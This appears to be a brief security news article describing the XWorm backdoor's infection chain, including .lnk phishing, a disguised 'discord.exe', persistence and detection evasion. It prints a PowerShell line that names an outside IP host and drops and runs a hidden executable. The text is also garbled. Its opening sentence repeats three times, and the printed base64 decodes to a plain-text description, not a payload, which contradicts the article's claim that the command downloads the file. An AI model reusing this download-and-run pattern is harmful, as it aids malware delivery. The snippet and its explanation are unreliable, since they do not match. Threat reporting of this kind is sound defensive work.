XWorm Malware With New Infection Chain Evade Detection Exploiting User and System Trust
In mid-2025, the XWorm backdoor emerged as a sophisticated threat designed to exploit user confidence and system conventions.
In mid-2025, the XWorm backdoor emerged as a sophisticated threat designed to exploit user confidence and system conventions.
Initially identified through an increase in .lnk-based phishing emails, XWorm utilizes these shortcuts to trigger hidden PowerShell routines, forming a new infection chain. Enterprises reported unusual network connections, pointing to an active Command and Control (C2) infrastructure. Analysts observed a shift in tactics from previous methods, now employing a multi-stage mechanism involving both social engineering and technical subterfuge.
The .lnk file, often delivered via spear-phishing, drops a benign-looking text artifact before silently downloading "discord.exe" from a remote host. This executable launches additional components—main.exe and system32.exe—with the latter serving as the core XWorm payload. Upon execution, system32.exe performs environment checks, aborting if a sandbox or virtual machine is detected. If genuine, it duplicates itself as Xclient.exe, establishing persistence through a scheduled task and a registry Run key.
System defenses are compromised by disabling Windows Firewall policies and bypassing PowerShell execution policies to allow the malware to operate with minimal scrutiny. The infection chain employs base64 encoding and Rijndael decryption, keeping the payload concealed until execution. The initial .lnk file decodes into a PowerShell command that retrieves and launches "discord.exe" stealthily.
In mid-2025, the XWorm backdoor emerged as a sophisticated threat designed to exploit user confidence and system conventions.
$payload = "ZG93bmxvYWQgZnJvbSAgaHR0cDovLzg1LjIwMy4zLjIzMjo1MDAwL0Rpc2NvcmQuZXhl" [IO.File]::WriteAllBytes("$env:TEMP\discord.exe", [Convert]::FromBase64String($payload)) Start-Process "$env:TEMP\discord.exe" -WindowStyle Hidden
This command downloads and executes "discord.exe", which in turn drops main.exe and system32.exe. These executables are packed with advanced obfuscation techniques, enhancing their stealth capabilities.
Main.exe includes embedded Python modules, while system32.exe utilizes early TLS callbacks to execute critical code before security hooks can intervene. This layered approach complicates detection and strengthens the infection chain, challenging conventional defense strategies.
XWorm demonstrates how combining social engineering, multi-stage payload delivery, and cryptographic concealment can enable adversaries to evade detection technologies, maintaining stealth and persistence within targeted networks.
Based on reporting by Cyber Security News.